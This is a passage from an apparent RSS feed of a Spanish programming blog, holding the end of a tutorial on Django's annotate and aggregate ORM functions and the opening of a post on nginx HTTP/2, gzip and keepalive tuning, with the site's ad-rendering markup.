style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(name__startswith&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Poe&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;queryset_2 &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(orders_count &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Count(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;orders&amp;#39;&lt;/span&gt;))&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(name__startswith&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Lovecraft&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# CORRECTO&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;results &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; queryset_1 &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt; queryset_2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Otra forma de solucionarlo sería realizar la unión con el queryset con annotate primero&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;queryset_1 &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(orders_count &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Count(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;orders&amp;#39;&lt;/span&gt;))&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(name__startswith&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Poe&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;queryset_2 &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(name__startswith&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Lovecraft&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# CORRECTO&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;results &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; queryset_1 &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt; queryset_2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;cuando-no-usar-django-annotate&#34;&gt;¿Cuando no usar Django annotate?&lt;/h3&gt;&#xA;&lt;p&gt;Django annotate es bastante ineficiente cuando se combina con subqueries, por lo que si tu aplicación usa muchas subqueries y las combina frecuentamente con annotate, quizás sea mejor idea que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/arregla-querys-lentas-en-django-al-usar-annotate-y-subqueries/&#34;&gt;escribas tu propio SQL y utilices las CTEs&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;django-aggregate&#34;&gt;Django Aggregate&lt;/h2&gt;&#xA;&lt;h3 id=&#34;para-que-usar-aggregate&#34;&gt;¿Para qué usar aggregate?&lt;/h3&gt;&#xA;&lt;p&gt;Usamos aggregate &lt;strong&gt;cuando queremos reducir el total de un query a un solo dato&lt;/strong&gt;, este dato puede ser un promedio, una sumatoria, un valor mínimo, máximo, etc. Aggregate nos permite procesarlo directo desde la base de datos, sin que tengamos que procesar los datos con Python nosotros mismos.&lt;/p&gt;&#xA;&lt;p&gt;Imagina que queremos saber el total de absolutamente todos los pedidos, para procesarlo o renderizarlo en una plantilla posteriormente.&lt;/p&gt;&#xA;&lt;p&gt;Una aproximación bastante ingenua sería incluir el siguiente código dentro de una función o método.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; app.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Seller&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# NO HAGAS ESTO, ES INEFICIENTE&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;all_orders_total &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; seller &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; order &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;orders&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        all_orders_total &lt;span style=&#34;color:#ff6ac1&#34;&gt;+=&lt;/span&gt; order&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;total&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(all_orders_total)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Decimal(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;2100.000000000&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El pedazo de código anterior es ineficiente, nuevamente estamos consultando múltiples veces la base de datos y procesando información con Python, lo cual no es malo, pero generalmente una base de datos es mucho más eficiente.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT ••• FROM app_seller&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT ••• FROM app_order WHERE app_order.seller_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT ••• FROM app_order WHERE app_order.seller_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;2&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT ••• FROM app_order WHERE app_order.seller_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;3&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En lugar de usar Python para calcular el total de los pedidos, podríamos darle instrucciones a la base de datos para que lo calcule usando &lt;em&gt;aggregate&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;como-usar-aggregate-en-django&#34;&gt;¿Cómo usar aggregate en Django?&lt;/h3&gt;&#xA;&lt;p&gt;De acuerdo al o anterior, sería conveniente reemplazar el código anterior con el siguiente queryset. Podemos especificar el nombre que se usará de llave en nuestro diccionario o dejar que django lo genere de manera automática. Sin embargo, para este ejemplo lo nombraremos &lt;em&gt;sum_of_all_orders&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;aggregate(sum_of_all_orders &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Sum(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;orders__total&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;sum_of_all_orders&amp;#39;&lt;/span&gt;: Decimal(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;2100&amp;#39;&lt;/span&gt;)}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# El total sumado de todos los pedidos es 2100&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Así mismo, en lugar de pedirle que nos sume, podríamos pedirle un promedio, o un conteo también, o incluir un &lt;em&gt;filter&lt;/em&gt; previo al &lt;em&gt;aggregate&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;total_orders &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;aggregate(total_orders &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Count(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;orders&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;total_orders &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;total_orders&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Entre todos los vendedores tienen 6 pedidos &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si intentamos obtener la query de &lt;em&gt;aggregate&lt;/em&gt; el intérprete de Python nos devolverá un error porque, &lt;strong&gt;a diferencia de &lt;em&gt;annotate&lt;/em&gt;, &lt;em&gt;aggregate&lt;/em&gt; devuelve un diccionario&lt;/strong&gt;, no un queryset.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;total_orders&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;query&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Traceback (most recent call last):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  File &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&amp;lt;console&amp;gt;&amp;#34;&lt;/span&gt;, line &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;module&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;AttributeError: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;dict&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;object&lt;/span&gt; has no attribute &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;query&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;concatenar-aggregate-al-final-de-un-queryset&#34;&gt;Concatenar aggregate al final de un queryset&lt;/h3&gt;&#xA;&lt;p&gt;De la misma manera podemos concatenar un &lt;em&gt;annotate&lt;/em&gt; con un &lt;em&gt;aggregate&lt;/em&gt;, &lt;strong&gt;siempre y cuando el aggregate esté al final de la concatenación&lt;/strong&gt;, esto debido a que &lt;strong&gt;aggregate no devuelve un query.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Además, &lt;em&gt;aggregate&lt;/em&gt; tiene acceso a las anotaciones que agreguemos a cada elemento usando &lt;em&gt;annotate&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Avg&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(orders_total &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Sum(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;orders__total&amp;#39;&lt;/span&gt;))&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;aggregate(Avg(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;orders_total&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;orders_total__avg&amp;#39;&lt;/span&gt;: Decimal(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;700&amp;#39;&lt;/span&gt;)}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Poe 100+200=300&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Lovecraft 300+400=700&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Barker 500+600=1100&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# (300+700+1100)/3 = 700&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Observa como &lt;em&gt;annotate&lt;/em&gt; agrega &lt;em&gt;orders_total&lt;/em&gt; a cada elemento del queryset y, posteriormente, &lt;em&gt;aggregate&lt;/em&gt; usa esa anotación para calcular el promedio usando &lt;em&gt;Avg&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Si sabes usar correctamente &lt;em&gt;aggregate&lt;/em&gt; y &lt;em&gt;annotate&lt;/em&gt; puedes reducir bastante la cantidad de queries que se realizan a la base de datos y con ello reducir por mucho el tiempo de respuesta entre cada petición.&lt;/p&gt;&#xA;&lt;p&gt;Recuerda que si quieres profundizar aún más en el tema debes leer &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/3.1/topics/db/aggregation/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;la documentación oficial de Django.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;La pantalla del ordenador iluminó mi rostro lleno de desesperación, me froté la cabeza con desesperación, mientras buscaba en google: &amp;ldquo;Django annotate&amp;rdquo;; una de las funciones del ORM de Django que no lograba comprender. ¿Te ha pasado también?, apuesto que sí. Ya había leído la documentación pero no me pareció lo suficientemente clara y, para colmo, la confundía frecuentemente con su gemela malvada: aggregate. Tras haber visitado varias preguntas de stackoverflow y múltiples blogs en inglés pude entenderlas a ambas. Estas notas son el resultado de esa búsqueda, es la explicación sobre annotate y aggregate de Django que a mi me hubiera gustado leer hace años.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Nginx keepalive, gzip, http2: mejor rendimiento en tu sitio web</title>
      <link>https://coffeebytes.dev/es/linux/nginx-keepalive-gzip-http2-mejor-rendimiento-en-tu-sitio-web/</link>
      <pubDate>Sat, 07 Nov 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/linux/nginx-keepalive-gzip-http2-mejor-rendimiento-en-tu-sitio-web/</guid>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Hace algunos meses estaba revisando los valores de Lighthouse para un sitio web cuando me di cuenta de que no cumplia con ciertas recomendaciones, usaba http/1.1, no contaba con compresión gzip, ni cache. Más tarde arreglé los problemas, te cuento como a continuación. En esta entrada te platico sobre las siguientes características de nginx: keepalive, gzip, cache y http2 y como puedes modificarlas para mejorar tus valores de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://web.dev/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Lighthouse&lt;/a&gt;&#xA;, también considera que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/no-te-obsesiones-con-el-rendimiento-de-tu-aplicacion-web/&#34;&gt;no debes obsesionarte con el rendimiento de tu aplicación&lt;/a&gt;&#xA; hasta que sea el momento adecuado de hacerlo.&lt;/p&gt;&#xA;&lt;h2 id=&#34;activar-http2-en-nginx&#34;&gt;Activar http2 en nginx&lt;/h2&gt;&#xA;&lt;p&gt;Por más sorprendente que suene, muchos servidores no habilitan HTTP/2 por defecto, por lo que, si es tu caso, puedes habilitarlo para tener un mejor rendimiento. El protocolo HTTP/2 es más eficiente que HTTP/1, por lo que obtendremos mejores indicadores usándolo.&lt;/p&gt;&#xA;&lt;p&gt;Primero vamos al archivo donde tenemos habilitado nuestro sitio web en nginx:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Después de buscar el mejor recurso linux en un montón de foros online encontré esta pequeña joya llamada &#39;How linux works&#39;. Es un libro completo que cubre básicamente todas las entrañas de Linux: Cgroups, PAM, Cron daemons e incluso los bootladers y el proceso init de Linux. La verdad es que no puedo recomendarlo más, 5/5. Ve a leerlo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Cómo funciona Linux\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/how-linux-works.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QsXkuw\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Cómo funciona Linux y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo destacar como un ingeniero de Linux?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 